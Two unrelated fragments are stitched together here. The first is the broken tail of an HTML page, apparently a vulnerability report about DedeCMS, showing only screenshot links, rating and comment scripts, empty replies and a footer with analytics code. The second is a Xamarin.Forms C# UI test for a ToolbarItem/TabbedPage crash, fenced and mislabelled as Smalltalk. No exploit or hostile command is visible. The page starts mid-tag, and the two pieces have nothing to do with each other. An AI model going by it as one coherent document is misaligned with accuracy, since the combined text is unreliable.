src="../upload/201401/14182236cb067ecb3f3fd5fc6b7dd1f4a494bca7.png" alt="QQ20140114181557.png" width="600" onerror="javascript:errimg(this);"/></a></p><p class="detail"></p><p class="detail usemasaic"><a href="../upload/201401/14182244432d1041d0ac6c75bd53583cbc2cd96f.png" target="_blank"><img src="../upload/201401/14182244432d1041d0ac6c75bd53583cbc2cd96f.png" alt="3.png" width="600" onerror="javascript:errimg(this);"/></a></p><p class="detail"></p><p class="detail usemasaic"><a href="../upload/201401/141823009a981167eb1db812b450e76b94c2eed8.png" target="_blank"><img src="../upload/201401/141823009a981167eb1db812b450e76b94c2eed8.png" alt="2.png" width="600" onerror="javascript:errimg(this);"/></a></p><p class="detail"><br /> <br /> </p><p class="detail usemasaic"><a href="../upload/201401/1418233608f553838217e3da757a16ce274ce566.png" target="_blank"><img src="../upload/201401/1418233608f553838217e3da757a16ce274ce566.png" alt="5.png" width="600" onerror="javascript:errimg(this);"/></a></p><p class="detail"> </p> </div> <h3 class="detailTitle"></h3> <div class='wybug_patch'> <p class="detail"> </p> </div> <h3 class="detailTitle"> <a style="font-weight:normal" href="path_to_url" title="Matt">Matt</a>@<a style="font-weight:normal" href="path_to_url" title="Dedecms 8()"></a></h3> <hr align="center"/> <h2 id="bugreply"></h2> <div class='bug_result'> <h3 class="detailTitle"></h3> <p class="detail"></p> <p class="detail">Rank6 </p> <p class="detail">2014-01-14 22:24</p> <h3 class="detailTitle"></h3> <p class="detail"></p> <h3 class="detailTitle"></h3> <p class="detail"></p> </div> <hr align="center" /> <script type="text/javascript"> var bugid="48913"; var bugRating="-3"; var myRating=""; var ratingCount="0"; function ShowBugRating(k){ var ratingItems=$(".myrating span"); $.each(ratingItems,function(i,n){ var nk=parseInt($(n).attr("rel")); if(nk<=k){ $(n).addClass("on"); }else{ $(n).removeClass("on"); } }); $(".myrating span").hover( function(){ $("#ratingShow").html($(this).attr("data-title")); }, function(){ $("#ratingShow").html(""); } ); } $(document).ready(function(){ if(myRating==""){ var ratingItems=$(".myrating span"); $(".myrating span").hover( function(){ $(this).addClass("hover"); var k=parseInt($(this).attr("rel")); $.each(ratingItems,function(i,n){ var nk=parseInt($(n).attr("rel")); if(nk<k) $(n).addClass("on"); if(nk>k) $(n).removeClass("on"); }); $("#ratingShow").html($(this).attr("data-title")); }, function(){ $(this).removeClass("hover"); if($("#myRating").val()==""){ $.each(ratingItems,function(i,n){ $(n).removeClass("on"); }); } $("#ratingShow").html(""); } ); $(".myrating span").click(function(){ var rating=$(this).attr("rel"); var k=parseInt($(this).attr("rel")); $.post("/ajaxdo.php?module=bugrating",{"id":bugid,"rating":rating,"token":$("#token").val()},function(re){ // $(".myrating span").unbind(); re=parseInt(re); switch(re){ case 1: $("#ratingShow").html(_LANGJS.RATING_SUCCESS); $("#ratingSpan").html(parseInt($("#ratingSpan").html())+1); $.each(ratingItems,function(i,n){ var nk=parseInt($(n).attr("rel")); if(nk<=k){ $(n).addClass("on"); }else{ $(n).removeClass("on"); } }); ShowBugRating(rating); break; case 2: $("#ratingShow").html(_LANGJS.LOGIN_FIRST); break; case 4: $("#ratingShow").html(_LANGJS.RATING_BUGS_DONE); break; case 6: $("#ratingShow").html(_LANGJS.RATING_BUGS_SELF); break; default:break; } }); }); }else{ if(ratingCount>2){ ShowBugRating(bugRating); }else{ ShowBugRating(-3); } } }); </script> <h3 class="detailTitle"></h3> <p class="detail"></p> <h5 class="rating"> <div class="ratingText"><span>(<span id="ratingSpan">0</span>)</span>:</div> <div class="myrating"> <span rel="-2" data-title=""></span> <span rel="-1" data-title=""></span> <span rel="0" data-title=""></span> <span rel="1" data-title=""></span> <span rel="2" data-title=""></span> <div id="ratingShow"> </div> </div> </h5> <input type="hidden" id="myRating" value="" /> <hr align="center" /> <h2></h2> <div id="replys" class="replys"> <ol class="replylist"> <li class="reply clearfix"> <div class="reply-content"> <div class="reply-info"> <span class="addtime">2014-01-14 18:26</span> | <a target='_blank' href="path_to_url"></a> <!-- @zm 2013-12-13 Begin --> ( | <!-- @zm 2013-12-13 End --> Rank:1 :2 | ) <div class="likebox"> <span class="likepre" title="" rel="76927"></span> <span class="liketext liketext_min"><span id="likenum_76927">0</span></span> <span class="likesuf"></span> </div> </div><!-- reply-info End --> <div class="description"> <p> </p> </div> <div class="replylist-act"> <span class="floor">1#</span> <a title=" " href="javascript:void(0)" class="replyBtn" onclick="Reply('')"></a> </div> </div><!-- reply-content End --> </li> <li class="reply clearfix"> <div class="reply-content"> <div class="reply-info"> <span class="addtime">2014-01-14 18:34</span> | <a target='_blank' href="path_to_url">Stranger</a> <!-- @zm 2013-12-13 Begin --> ( | <!-- @zm 2013-12-13 End --> Rank:0 :1 | .....) <div class="likebox"> <span class="likepre" title="" rel="76929"></span> <span class="liketext liketext_min"><span id="likenum_76929">0</span></span> <span class="likesuf"></span> </div> </div><!-- reply-info End --> <div class="description"> <p>,,........ </p> </div> <div class="replylist-act"> <span class="floor">2#</span> <a title=" Stranger" href="javascript:void(0)" class="replyBtn" onclick="Reply('Stranger')"></a> </div> </div><!-- reply-content End --> </li> <li class="reply clearfix"> <div class="reply-content"> <div class="reply-info"> <span class="addtime">2014-01-15 04:21</span> | <a target='_blank' href="path_to_url"></a> <!-- @zm 2013-12-13 Begin --> ( | <!-- @zm 2013-12-13 End --> Rank:28 :24 | ~) <div class="likebox"> <span class="likepre" title="" rel="76970"></span> <span class="liketext liketext_min"><span id="likenum_76970">0</span></span> <span class="likesuf"></span> </div> </div><!-- reply-info End --> <div class="description"> <p>.... </p> </div> <div class="replylist-act"> <span class="floor">3#</span> <a title=" " href="javascript:void(0)" class="replyBtn" onclick="Reply('')"></a> </div> </div><!-- reply-content End --> </li> </ol><!-- replylist End --> </div><!-- replys End --> <div id="reply" class="reply"> <a name="comment"></a> <p class="detail"> <a href="path_to_url"><u></u></a> </p> <script type="text/javascript"> var masaic = '0'; function CommentLike(id){ $.post("/ajaxdo.php?module=commentrating",{"id":id,"token":$("#token").val()},function(re){ re=parseInt(re); switch(re){ case 1: $("#likenum_"+id).html(parseInt($("#likenum_"+id).html())+1); break; case 4: alert(_LANGJS.COMMENT_GOOD_DONE); break; case 6: alert(_LANGJS.COMMENT_SELF); break; default:break; } }); } $(document).ready(function(){ $(".likebox .likepre").click(function(){ CommentLike($(this).attr("rel")); }); }); </script> <div> </div> <div id="footer"> <span class="copyright fleft"> <a href="path_to_url">ICP15041338-1</a> <!--a href="path_to_url" target="_blank"><img src="/images/sae_bottom_logo.png" title="Powered by Sina App Engine"></a--> </span> <span class="other fright"> <a href="path_to_url"></a> <a href="path_to_url"></a> <a href="path_to_url"></a> <a href="path_to_url"></a> <a href="path_to_url"></a> </span> </div> <script type="text/javascript"> var _bdhmProtocol = (("https:" == document.location.protocol) ? " https://" : " http://"); document.write(unescape("%3Cscript src='" + _bdhmProtocol + "hm.baidu.com/h.js%3Fc12f88b5c1cd041a732dea597a5ec94c' type='text/javascript'%3E%3C/script%3E")); </script> <script type="text/javascript" id="bdshare_js" data="type=button" ></script> <script type="text/javascript" id="bdshell_js"></script> <script type="text/javascript"> document.getElementById("bdshell_js").src = "path_to_url" + new Date().getHours(); if (top.location !== self.location) top.location=self.location; </script> </body> </html> ```
```smalltalk using Xamarin.Forms.CustomAttributes; using Xamarin.Forms.Internals; namespace Xamarin.Forms.Controls.Issues { #if UITEST [NUnit.Framework.Category(Core.UITests.UITestCategories.Bugzilla)] #endif [Preserve(AllMembers = true)] [Issue(IssueTracker.Bugzilla, 37601, "ToolbarItem throws error when navigating to TabbedPage ", PlatformAffected.WinPhone)] public class Bugzilla37601 : TestNavigationPage { protected override void Init() { Navigation.PushAsync(new SelectPage()); } } internal class SelectPage : ContentPage { public SelectPage() { var button = new Button { Text = "Move" }; var label = new Label { Text = "Click the Move button. If the next page is displayed, the test has passed. If the app crashes, the test has failed." }; Content = new StackLayout { Children = { label, button } }; button.Clicked += (sender, args) => { Navigation.PushAsync(new TabbedMain(), true); }; ToolbarItems.Add(new ToolbarItem { Text = "Log Out" }); } } internal class TabbedMain : TabbedPage { public TabbedMain() { var page1 = new ContentPage { Title = "Page1" }; page1.Content = new StackLayout { Children = { new Label { Text = "If you can see this, we haven't crashed. Yay!" } } }; Children.Add(page1); Children.Add(new ContentPage { Title = "Page2" }); } } } ```